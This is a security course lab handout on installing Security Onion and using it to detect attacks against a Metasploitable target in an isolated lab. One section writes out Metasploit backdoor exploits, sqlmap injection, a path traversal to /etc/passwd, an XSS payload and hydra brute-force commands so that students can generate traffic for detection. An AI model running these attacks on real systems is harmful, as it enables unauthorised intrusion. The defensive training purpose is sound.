Week 6 Lab: Introduction to Security Onion

Learning Outcomes

By the end of this lab, you will be able to:

Install and configure Security Onion as a Network Security Monitoring (NSM) platform
Understand the Security Onion architecture and components
Generate and capture network traffic for analysis
Analyze security alerts using Kibana and Security Onion Console (SOC)
Pivot from alerts to full packet captures (PCAP) for deep analysis
Use Suricata IDS rules to detect attacks
Investigate security incidents using multiple data sources

Objective

Deploy Security Onion as a complete Network Security Monitoring solution and use it to detect, analyze, and investigate simulated attacks in a controlled lab environment.

Scenario

You are a SOC analyst at CyberDefense Corp, and your organization has decided to deploy Security Onion as its primary Network Security Monitoring platform. Your manager has tasked you with setting up a proof-of-concept deployment, generating test traffic, and demonstrating the platform's detection and analysis capabilities to the security team.

Prerequisites

VirtualBox or VMware with sufficient resources
Host system with:
- CPU: 4+ cores
- RAM: 16GB+ (32GB recommended)
- Storage: 200GB+ free space
Kali Linux VM (from Week 2 lab)
Metasploitable 2 or 3 VM (target system)
Basic understanding of networking and IDS/IPS concepts

Lab Duration

Approximately 4-5 hours (including installation)

Part 1: Understanding Security Onion (30 minutes)

Step 1: What is Security Onion?

Security Onion is a free, open-source Linux distribution for Network Security Monitoring (NSM), enterprise security monitoring, and log management.

Key Components:

Component	Purpose	Technology
IDS/IPS	Intrusion detection/prevention	Suricata
NIDS	Network intrusion detection	Zeek (formerly Bro)
SIEM	Security information and event management	Elasticsearch, Logstash
Visualization	Data visualization and analysis	Kibana
Alert Management	Alert triage and investigation	Security Onion Console (SOC)
PCAP Storage	Full packet capture	Stenographer
Log Aggregation	Centralized logging	Elastic Stack

Security Onion Architecture:

┌─────────────────────────────────────────────────────────┐
│                    Security Onion                        │
│  ┌────────────┐  ┌────────────┐  ┌─────────────────┐   │
│  │  Suricata  │  │    Zeek    │  │  Stenographer   │   │
│  │    IDS     │  │   (Bro)    │  │  (PCAP Store)   │   │
│  └──────┬─────┘  └──────┬─────┘  └────────┬────────┘   │
│         │                │                  │            │
│         └────────┬───────┴──────────────────┘            │
│                  ▼                                       │
│         ┌────────────────┐                               │
│         │  Elasticsearch │◄──── Logstash                │
│         └────────┬───────┘                               │
│                  │                                       │
│         ┌────────▼───────┐                               │
│         │     Kibana     │                               │
│         │       &        │                               │
│         │      SOC       │                               │
│         └────────────────┘                               │
└─────────────────────────────────────────────────────────┘

Step 2: Security Onion Deployment Types

Standalone: All components on one system (suitable for labs and small networks) Distributed: Manager node + multiple sensor nodes (enterprise deployments)

For this lab: We'll deploy a Standalone installation.

Part 2: Security Onion Installation (90 minutes)

Step 3: Download Security Onion

Go to: https://securityonionsolutions.com/software
Download: Security Onion 2.4.x ISO (latest stable version)
File size: ~4GB

Verify the download (optional but recommended):

sha256sum securityonion-2.4.x.iso
# Compare with official checksum

Step 4: Create Security Onion VM

In VirtualBox:

Click "New"
Configuration:
- Name: SecurityOnion
- Type: Linux
- Version: Ubuntu (64-bit)
- Memory: 8192 MB (8GB) minimum, 16384 MB (16GB) recommended
- Hard Disk: Create virtual hard disk, VDI, Dynamically allocated, 200 GB
VM Settings:
- System → Processor: 4 CPUs
- System → Acceleration: Enable VT-x/AMD-V
- Display → Video Memory: 128 MB
Network Configuration (CRITICAL):

Adapter 1 (Management Interface):
- Enable Network Adapter: ✓
- Attached to: Bridged Adapter or NAT
- Purpose: Management access, internet connectivity
Adapter 2 (Monitoring Interface):
- Enable Network Adapter: ✓
- Attached to: Internal Network or Host-only Adapter
- Name: SOC-Monitor-Net
- Promiscuous Mode: Allow All
- Purpose: Sniffing traffic from target systems

Step 5: Install Security Onion

Start the VM
Mount the Security Onion ISO
Boot from ISO

Installation Steps:

Welcome Screen:
- Select language: English
- Click Install Security Onion
Keyboard Layout:
- Select your keyboard layout
- Click Continue
Network Configuration:
- Select management interface (usually enp0s3)
- Configure IP (DHCP or static)
- Click Continue
Disk Partitioning:
- Select Erase disk and install Security Onion
- Click Install Now
- Confirm partitioning
Location:
- Select your timezone
- Click Continue
User Creation:
- Your name: SOC Admin
- Computer name: securityonion
- Username: socadmin
- Password: [Choose strong password]
- Click Continue
Installation Progress:
- Wait 10-15 minutes for installation
- Click Restart Now when complete
- Remove ISO

Step 6: Initial Security Onion Setup

After reboot, log in and run the setup:

Login with your credentials
Start the setup wizard:
```
sudo so-setup
```
Setup Type:
- Select: STANDALONE
- Press Enter
Agree to License:
- Read and accept the license
Hostname:
- Accept default or customize
- Press Enter
Management Interface:
- Select your management interface (enp0s3)
- Configure IP address (static recommended)
- Example: 192.168.1.100/24
- Gateway: 192.168.1.1
- DNS: 8.8.8.8
Monitoring Interface:
- Select your monitoring interface (enp0s8)
- This interface will be in promiscuous mode
OS Patch Schedule:
- Select: Automatic (recommended)
Install Method:
- Select: QUICK (for lab)
- Or CUSTOM for more control
Admin Email:
- Enter your email for SOC access
Admin Password:
- Set a strong password for web interface
Web Interface Access:
- Select: IP (allow access from specific IP)
- Or ALL (allow from any IP - less secure)
NTP Server:
- Accept default or specify custom
Confirmation:
- Review settings
- Confirm to proceed
Installation:
- Wait 30-60 minutes for component installation
- Docker containers will be downloaded and configured
Completion:
- Note the web interface URL
- Note your credentials

Step 7: Verify Installation

Check service status:
```
sudo so-status
```
All services should show as "OK" or "running".
Access web interface:
- Open browser on your host machine
- Navigate to: https://[SecurityOnion-IP]
- Accept self-signed certificate warning
- Login with admin credentials
Verify components:
- SOC (Security Onion Console): Alert management
- Kibana: Data visualization
- Suricata: IDS alerts
- Zeek: Network logs

Part 3: Target System Setup (30 minutes)

Step 8: Deploy Metasploitable 2

Download Metasploitable 2:

Go to: https://sourceforge.net/projects/metasploitable/
Download: metasploitable-linux-2.0.0.zip
Extract the ZIP file

Import to VirtualBox:

Machine → Add
Select: Metasploitable.vmdk
Configuration:
- Memory: 512 MB
- Network: Internal Network (SOC-Monitor-Net) - same as Security Onion's monitoring interface
Start the VM
Login:
- Username: msfadmin
- Password: msfadmin

Configure static IP:

sudo nano /etc/network/interfaces

Add:

auto eth0
iface eth0 inet static
    address 192.168.100.10
    netmask 255.255.255.0

Restart networking:

sudo /etc/init.d/networking restart

Step 9: Configure Kali Linux

Ensure your Kali VM is on the same network as Metasploitable:

Network Settings:
- Adapter 1: Internal Network (SOC-Monitor-Net)

Configure static IP:

sudo ip addr add 192.168.100.20/24 dev eth0

Verify connectivity:
```
ping 192.168.100.10  # Metasploitable
```

Part 4: Generating Attack Traffic (60 minutes)

Exercise 1: Network Reconnaissance (Nmap Scan)

From Kali Linux:

Basic port scan:
```
nmap 192.168.100.10
```
Aggressive scan:
```
nmap -A -T4 192.168.100.10
```
Full TCP scan:
```
sudo nmap -sS -p- 192.168.100.10
```
Service version detection:
```
nmap -sV 192.168.100.10
```
OS detection:
```
sudo nmap -O 192.168.100.10
```

Expected alerts in Security Onion:

ET SCAN Potential SSH Scan
GPL SCAN nmap XMAS
ET SCAN Nmap Scripting Engine User-Agent Detected

Exercise 2: Vulnerability Exploitation (Metasploit)

Launch Metasploit:

msfconsole

Exploit 1: VSFTPd Backdoor

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.100.10
set RPORT 21
exploit

If successful:

whoami
id
uname -a

Exploit 2: Samba Username Map Script

use exploit/multi/samba/usermap_script
set RHOSTS 192.168.100.10
set RPORT 139
exploit

Exploit 3: UnrealIRCd Backdoor

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.100.10
set RPORT 6667
exploit

Expected alerts:

ET EXPLOIT Possible Samba Username Map Script Command Execution
GPL SHELLCODE x86 NOOP
ET EXPLOIT Metasploit Payload Common Construct

Exercise 3: Web Application Attacks

SQL Injection Test:

# Using sqlmap
sqlmap -u "http://192.168.100.10/mutillidae/index.php?page=user-info.php&username=test&password=test" --dbs

Directory Traversal:

curl "http://192.168.100.10/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd"

XSS Test:

curl "http://192.168.100.10/mutillidae/index.php?page=dns-lookup.php&target_host=<script>alert('XSS')</script>"

Exercise 4: Brute Force Attack

SSH Brute Force:

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.100.10 ssh

FTP Brute Force:

hydra -l admin -P /usr/share/wordlists/fasttrack.txt 192.168.100.10 ftp

Part 5: Alert Analysis in Security Onion (60 minutes)

Exercise 5: Access Security Onion Console (SOC)

Open browser: https://[SecurityOnion-IP]
Login with admin credentials
Navigate to: Alerts dashboard

Exercise 6: Analyze Nmap Scan Alerts

Filter for scan alerts:

In SOC, use search: event.module:suricata AND alert.signature:*scan*
Review alerts:
- Signature name
- Source IP (Kali)
- Destination IP (Metasploitable)
- Timestamp
- Severity

Pivot to Kibana:

Click on an alert
Select View in Kibana
Analyze:
- Timeline of events
- Related alerts
- Full packet details

Exercise 7: Investigate Metasploit Exploitation

Search for exploit alerts:

event.module:suricata AND alert.signature:*exploit*

Analyze the alert:

Signature: ET EXPLOIT Metasploit...
Source IP: 192.168.100.20 (Kali)
Destination IP: 192.168.100.10 (Metasploitable)
Destination Port: 21, 139, or 6667

Pivot to PCAP:

Click on alert
Select PCAP
Download PCAP for offline analysis
Open in Wireshark

In Wireshark:

Follow TCP Stream
Analyze the exploit payload
Extract IOCs

Exercise 8: Zeek Log Analysis

Access Zeek logs in Kibana:

Navigate to Discover
Select index: logs-zeek-*
Explore log types:
- conn.log - Connection summaries
- http.log - HTTP requests
- dns.log - DNS queries
- files.log - File transfers
- ssl.log - SSL/TLS connections

Analyze HTTP traffic:

event.dataset:zeek.http

Look for:

User-Agents (identify scanning tools)
Requested URIs
Response codes
File downloads

Exercise 9: Create Custom Hunt

Hunt for SSH brute force:

Kibana → Discover

Filter:

event.dataset:zeek.conn AND destination.port:22

Visualize:
- Group by source IP
- Count connections
- Look for high connection counts

Create visualization:

Kibana → Visualize
Create new visualization
Type: Data table
Metrics: Count
Buckets: Terms aggregation on source.ip
Save as "SSH Connection Attempts"

Part 6: Advanced Analysis (45 minutes)

Exercise 10: Correlation Analysis

Correlate multiple data sources:

Find initial scan (Suricata alert)
Pivot to Zeek conn logs (same timeframe)
Identify exploitation attempt (Suricata alert)
Check for successful connection (Zeek conn.log with long duration)
Look for data exfiltration (Zeek files.log)

Create timeline:

10:15:00 - Nmap scan detected
10:16:30 - Metasploit exploit attempt
10:16:45 - Successful shell connection
10:17:00 - Commands executed
10:18:00 - File downloaded

Exercise 11: PCAP Analysis

Extract PCAP for specific alert:

SOC → Alerts
Select alert
Actions → PCAP
Specify time range (±5 minutes)
Download PCAP

Analyze in Wireshark:

wireshark alert-pcap.pcap

Look for:

Exploit payload
Shell commands
Data exfiltration
Persistence mechanisms

Exercise 12: Rule Tuning

Disable noisy rules:

Identify noisy signature:
- Example: "ET INFO Session Traversal Utilities for NAT"
Disable in SOC:
```
sudo so-rule-update
```

Or create local rule:

sudo nano /opt/so/saltstack/local/salt/idstools/local.rules

Add:

# Disable noisy rule
suppress gen_id 1, sig_id 2100498

Apply changes:
```
sudo so-rule-update
```

Deliverables

Submit the following:

Security-Onion-Report.md - Comprehensive analysis report
Screenshots/ - Directory containing:
- Security Onion installation completion
- SOC dashboard with alerts
- Nmap scan alerts
- Metasploit exploit alerts
- Kibana visualizations
- Zeek log analysis
- PCAP analysis in Wireshark
PCAPs/ - Extracted PCAP files for key alerts
IOCs.txt - List of indicators of compromise identified

Report Template

# Security Onion Analysis Report

**Analyst:** [Your Name]  
**Date:** [Date]  
**Lab Environment:** Security Onion 2.4.x

---

## Executive Summary

[Summary of attacks detected and analyzed]

---

## 1. Security Onion Deployment

### Installation Details
- Version: 2.4.x
- Deployment Type: Standalone
- Management IP: [IP]
- Monitoring Interface: [Interface]

### Components Verified
- [x] Suricata IDS
- [x] Zeek (Bro)
- [x] Elasticsearch
- [x] Kibana
- [x] SOC
- [x] Stenographer

---

## 2. Attack Scenarios

### Scenario 1: Network Reconnaissance
**Attack:** Nmap scan from Kali (192.168.100.20) to Metasploitable (192.168.100.10)

**Alerts Generated:**
- [List alerts with signatures]

**Screenshot:**
![Nmap Alerts](screenshots/nmap-alerts.png)

### Scenario 2: Exploitation
**Attack:** Metasploit exploitation attempts

**Alerts Generated:**
- [List exploit alerts]

**Screenshot:**
![Exploit Alerts](screenshots/exploit-alerts.png)

---

## 3. Analysis Findings

### Zeek Log Analysis
[Findings from Zeek logs]

### PCAP Analysis
[Findings from packet captures]

---

## 4. IOCs Identified

**IP Addresses:**
- 192.168.100.20 (Attacker)

**Signatures:**
- [List Suricata signatures triggered]

---

## 5. Recommendations

1. [Recommendation 1]
2. [Recommendation 2]

Evaluation Criteria

Installation: Successfully deployed Security Onion
Alert Generation: Generated multiple types of alerts
Analysis: Thoroughly analyzed alerts using SOC and Kibana
PCAP Analysis: Successfully extracted and analyzed PCAPs
Documentation: Professional, complete report

Additional Resources

Lab Completion Time: [Record your time]
Difficulty Level: Intermediate to Advanced

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Week 6 Lab: Introduction to Security Onion

Learning Outcomes

Objective

Scenario

Prerequisites

Lab Duration

Part 1: Understanding Security Onion (30 minutes)

Step 1: What is Security Onion?

Step 2: Security Onion Deployment Types

Part 2: Security Onion Installation (90 minutes)

Step 3: Download Security Onion

Step 4: Create Security Onion VM

Step 5: Install Security Onion

Step 6: Initial Security Onion Setup

Step 7: Verify Installation

Part 3: Target System Setup (30 minutes)

Step 8: Deploy Metasploitable 2

Step 9: Configure Kali Linux

Part 4: Generating Attack Traffic (60 minutes)

Exercise 1: Network Reconnaissance (Nmap Scan)

Exercise 2: Vulnerability Exploitation (Metasploit)

Exercise 3: Web Application Attacks

Exercise 4: Brute Force Attack

Part 5: Alert Analysis in Security Onion (60 minutes)

Exercise 5: Access Security Onion Console (SOC)

Exercise 6: Analyze Nmap Scan Alerts

Exercise 7: Investigate Metasploit Exploitation

Exercise 8: Zeek Log Analysis

Exercise 9: Create Custom Hunt

Part 6: Advanced Analysis (45 minutes)

Exercise 10: Correlation Analysis

Exercise 11: PCAP Analysis

Exercise 12: Rule Tuning

Deliverables

Report Template

Evaluation Criteria

Additional Resources

FilesExpand file tree

Week-6-Lab-Introduction-to-Security-Onion.md

Latest commit

History

Week-6-Lab-Introduction-to-Security-Onion.md

File metadata and controls

Week 6 Lab: Introduction to Security Onion

Learning Outcomes

Objective

Scenario

Prerequisites

Lab Duration

Part 1: Understanding Security Onion (30 minutes)

Step 1: What is Security Onion?

Step 2: Security Onion Deployment Types

Part 2: Security Onion Installation (90 minutes)

Step 3: Download Security Onion

Step 4: Create Security Onion VM

Step 5: Install Security Onion

Step 6: Initial Security Onion Setup

Step 7: Verify Installation

Part 3: Target System Setup (30 minutes)

Step 8: Deploy Metasploitable 2

Step 9: Configure Kali Linux

Part 4: Generating Attack Traffic (60 minutes)

Exercise 1: Network Reconnaissance (Nmap Scan)

Exercise 2: Vulnerability Exploitation (Metasploit)

Exercise 3: Web Application Attacks

Exercise 4: Brute Force Attack

Part 5: Alert Analysis in Security Onion (60 minutes)

Exercise 5: Access Security Onion Console (SOC)

Exercise 6: Analyze Nmap Scan Alerts

Exercise 7: Investigate Metasploit Exploitation

Exercise 8: Zeek Log Analysis

Exercise 9: Create Custom Hunt

Part 6: Advanced Analysis (45 minutes)

Exercise 10: Correlation Analysis

Exercise 11: PCAP Analysis

Exercise 12: Rule Tuning

Deliverables

Report Template

Evaluation Criteria

Additional Resources